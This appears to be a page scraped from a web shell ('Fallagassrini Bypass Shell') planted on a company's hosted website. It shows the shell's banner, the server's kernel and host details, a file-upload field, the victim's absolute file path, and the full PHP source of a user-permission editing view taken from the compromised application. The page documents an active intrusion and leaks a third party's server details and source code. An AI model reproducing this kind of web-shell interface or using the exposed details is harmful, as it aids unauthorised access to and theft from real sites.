? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Settings/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Settings/edit_user.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('settings','viewinsettingssearch','search_user','view_user','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Updating user</span>
</div>

<fieldset>
<?php
    $attributes=array('id'=>'validateform','class'=>'customForm');
    echo form_open('settings/addinsettings/update_user/view_user/1',$attributes);?>
    <ul>
        <li>
            <label for="data">Employee Name</label>
            <div class="record_entry">
                <?=$this->mastermodel->getSingleFieldValue('employee','employee_name','employee_id',$viewinfo->employee_id);?>
            </div>
        </li>
        <li>
            <label for="data">Designation</label>
            <div class="record_entry">
                <?=$this->mastermodel->getsinglejoinedvalue('designation_name','designation','employee','designation_id','employee_designation_id','employee_id',$viewinfo->employee_id);?>
            </div>
        </li>
        <li>
            <label for="data">User Name</label>
            <input type="text" name="username" id="username" readonly class="required" value="<?=$viewinfo->username;?>" onchange="checkexistence('user','username',this.value)" />
        </li>
        <li id="role_permissions">
            <table class="sort" width="100%" border="1" cellpadding="20" cellspacing="10">
                <thead>
                    <tr>
                    <th>Module Name</th>
                    <th><input style="width: 15px;" type="checkbox" id="View_CheckAll" onchange="CheckAllView(this,'View_','')">View </th>
                    <th><input style="width: 15px;" type="checkbox" id="Add_CheckAll" onchange="CheckAllView(this,'Add_','')">Create </th>
                    <th><input style="width: 15px;" type="checkbox" id="Edit_CheckAll" onchange="CheckAllView(this,'Edit_','')"> Edit</th>
                    <th><input style="width: 15px;" type="checkbox" id="Delete_CheckAll" onchange="CheckAllView(this,'Delete_','')">Delete</th>
                    <th><input style="width: 15px;" type="checkbox" id="Delete_CheckAll" onchange="CheckAllView(this,'Private_','')">Private</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                        $viewinfo1 = $this->settingsmodel->get_user_permission_by_user_id($viewinfo->user_id);
                        $modules = $this->mastermodel->getmoduledata();
                        $modname="";
                        $i=1;
                        $j=0;
                        $viewCount=0;
                        $initialPermission="";
                        $moduleidList="";
                        $tmp = $viewinfo1[0];
                        $privateList = $tmp['private'];
                        $isPrivate = explode(',', $tmp['private']);
                        $allowed=explode(",",$tmp['user_modules']);
                        $edit_del=explode(",",$tmp['modules_permission']);
                        foreach ($modules as $menulst)
                        {
                            $menuid=$menulst['menu_id'];
                            $poss='';
                            for($i=1;$i<sizeof($allowed)+1;$i++)
                                if($allowed[$i-1]==$menuid)
                                    $poss=$i;
                            if($poss!='')
                                $val=$edit_del[$poss-1];
                            else
                            {
                                $val=0;
                                $val1=0;
                            }
                            $a=decbin($val);
                            $d=sprintf('%04u',$a);
                            $ar = str_split($d);
                            
                            
                            $viewCount++;
                            $initialPermission .= "0,";
                            $moduleidList .= $menulst['menu_id'].",";
                            if($modname!=$menulst['module_name'])
                            {
                                $modname=$menulst['module_name'];
                                ?>
                                <tr>
                                    <th style="background-color:lavender;"><span><?=$modname;?></span></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="View_<?=$modname?>" onchange="CheckModuleView('View_','<?=$modname?>')">View </th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="Add_<?=$modname?>" onchange="CheckModuleView('Add_','<?=$modname?>')">Create</th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="Edit_<?=$modname?>" onchange="CheckModuleView('Edit_','<?=$modname?>')">Edit</th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="Delete_<?=$modname?>" onchange="CheckModuleView('Delete_','<?=$modname?>')">Delete</th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="Private_<?=$modname?>" onchange="CheckModuleView('Private_','<?=$modname?>')">Private</th>
                                </tr>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','View_')" name="View_<?=$modname?>[]" id="View_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Add_')" name="Add_<?=$modname?>[]" id="Add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Edit_')" name="Edit_<?=$modname?>[]" id="Edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Delete_')" name="Delete_<?=$modname?>[]" id="Delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Delete_')" name="Private_<?=$modname?>[]" id="Private_<?php echo $j;?>" value="1" type="checkbox" <?php if($isPrivate[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php
                                 $i++;
                            }
                            else
                            {
                                ?>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','View_')" name="View_<?=$modname?>[]" id="View_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>  ></td>
                                     <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Add_')" name="Add_<?=$modname?>[]" id="Add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Edit_')" name="Edit_<?=$modname?>[]" id="Edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Delete_')" name="Delete_<?=$modname?>[]" id="Delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td><input class="" style="width: 15px;" onchange="CheckAllView(this,'','Private_')" name="Private_<?=$modname?>[]" id="Private_<?php echo $j;?>" value="1" type="checkbox" <?php if($isPrivate[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php   
                            }
                            $j++;
                        }
                    ?>
                </tbody>
            </table>
            <input type="hidden" id="ViewCount" value='<?php echo $viewCount?>'/>
            <input type="hidden" id="TxtPermissionList" name="modules_permission" value='<?php echo $tmp['modules_permission']?>'/>
            <input type="hidden" id="ModuleidList" name="user_modules" value="<?php echo $moduleidList?>"/>
            <input type="hidden" id="PrivareList" name="user_privates" value="<?php echo $privateList?>"/>
        </li>
        <input type="hidden" name="user_id" value="<?=$viewinfo->user_id;?>"/>
        <input type="hidden" id="tab_name" name="tab_name" value="user"/>
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net